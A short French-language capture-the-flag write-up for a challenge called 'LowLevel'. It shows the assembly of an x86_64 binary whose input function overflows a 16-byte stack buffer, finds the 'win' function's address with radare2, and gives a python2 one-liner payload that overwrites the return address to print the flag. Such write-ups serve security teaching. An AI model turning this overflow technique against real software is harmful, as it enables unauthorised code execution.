Write Up LowLevel

Ce programme assez basique est ecrit en x86_64. Je vais passer sur les details les moins importants.

On avait un acces ssh et on pouvait donc recuperer le binaire depuis le serveur.

On avait une fonction win a atteindre:

```
win:
    push rbp
    mov rbp, rsp
    sub rsp, 40

    ; fopen("flag.txt", "r")
    mov rdi, $flag
    xor rsi, rsi
    xor rdx, rdx
    push 2
    pop rax
    syscall

    ; read(fd, &stack, 40)
    xchg rax, rdi
    mov rsi, rsp
    mov rdx, 40
    xor rax, rax
    syscall

    ; write what's on the stack
    mov rdi, 1
    mov rax, rdi
    syscall

    add rsp, 40
    pop rbp
    ret
```

Cette fonction lit le flag et l'affiche.

La partie interessante du code est la fonction "answer"

```
answer:
    push rbp
    mov rbp, rsp
    sub rsp, 0x10

    xor rdi, rdi ; stdin
    mov rsi, rsp ; *buf
```

```
    mov rdx, 0x100 ; count

    xor rax, rax
    syscall

    add rsp, 0x10
    pop rbp
    ret
```

on y voit qu'un espace memoire de 16 bytes est alloue (sub rsp, 0x10). On voit par contre que l'input est pris sur la stack (rsp) et que la taille est de 0x100. On peut donc overflow ce buffer.

Notre but ici est d'executer la fonction win. On va donc utiliser r2 pour recuperer son adresse.

```
r2 lowlevel
> aaaaa
[...]
> afl
0x00401089    1 19           entry0
0x0040103c    1 35           loc.print
0x0040105f    1 30           loc.answer
0x0040107d    1 12           loc.exit
0x00401000    1 60           loc.win
```

Notre fonction win est situee en 0x00401000.

Notre payload sera alors sous la forme

```
[junk * 0x10] + [junk * 0x8] + [0x00401000 en little endian]. On peut le faire
avec python ou avec pwntools:
(python2 -c "print 'A' * 0x10 + 'B' * 0x8 + '\x00\x10\x40\x00\x00\x00\x00\x00'";
cat) | ./lowlevel
```

Et on recuperait le flag !